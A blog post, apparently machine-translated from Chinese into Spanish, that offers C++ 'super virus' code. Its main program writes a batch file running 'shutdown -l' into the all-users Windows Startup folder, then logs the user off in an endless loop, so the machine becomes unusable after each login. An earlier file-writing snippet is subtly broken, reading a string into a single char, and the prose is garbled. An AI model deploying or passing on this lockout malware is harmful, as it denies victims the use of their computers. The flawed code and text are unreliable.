C++ - código de súper virus

inserte la descripción de la imagen aquí

Precauciones

Esta es la octava parte de mi columna c++, que actualmente eslo más lo más lo más peligrosoUn artículo, mucho más que C++ para eliminar usuarios en la unidad C (código de virus, extremadamente peligroso) . entonces,Prepárese con anticipación, obtenga un PE en el disco U o cree un sistema que se restablezca después de arrancar, ¡Probar! !

  • De lo contrario, el autor no se hace responsable de ningún problema con su computadora .

tecnología utilizada

Incluir archivos de creación de contenido en la ubicación especificada

La técnica utilizada por el programa de virus en este artículo es: crear un archivo que contenga contenido en una ubicación específica.

#include <bits/stdc++.h>
using namespace std;
char data,filename[] = "C://1234.txt";	//地址+文件名 
										//此处的斜杠需要在复制过来的基础上倒着,否则编译不过 
int main() {
    
    
	FILE* fptr;
	printf("请输入要写入的数据:");
	scanf("%s", data);

	fptr = fopen(filename, "w"); // 打开文件

	fprintf(fptr, "%s", data); // 将数据写入文件
	fclose(fptr); // 关闭文件

	printf("数据已成功写入文件。");

	return 0;
}

Uso básico de apagado

Para conocer el uso básico del apagado, puede leer este artículo:
Uso básico del apagado

ideas de virus

En este caso, podemos crear un archivo bat para el elemento de arranque automático de Windows, luego el contenido del bat puede ser definido por nosotros mismos, como cerrar sesión, apagar, etc. De esta manera, se puede apagar cuando se enciende o cerrar sesión después de encender (el inicio aquí incluye volver a abrir después de cerrar sesión)

código de virus

#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
int main() {
    
    
	char data[1000];
	FILE* fptr;
	char filename[] = "C://ProgramData/Microsoft/Windows/Start Menu/Programs/Startup/死亡吧~~~.bat";
	data[0]='s';
	data[1]='h';
	data[2]='u';
	data[3]='t';
	data[4]='d';
	data[5]='o';
	data[6]='w';
	data[7]='n';
	data[8]=' ';
	data[9]='-';
	data[10]='l';	//此处为开机就注销
	fptr = fopen(filename, "w");
	fprintf(fptr, "%s", data);
	fclose(fptr);
	while (1)
		system ("shutdown -l");  //循环注销,尽量保证可以注销成功
	return 0;
}

Supongo que te gusta

Origin blog.csdn.net/DUXS11/article/details/132121414
Recomendado
Clasificación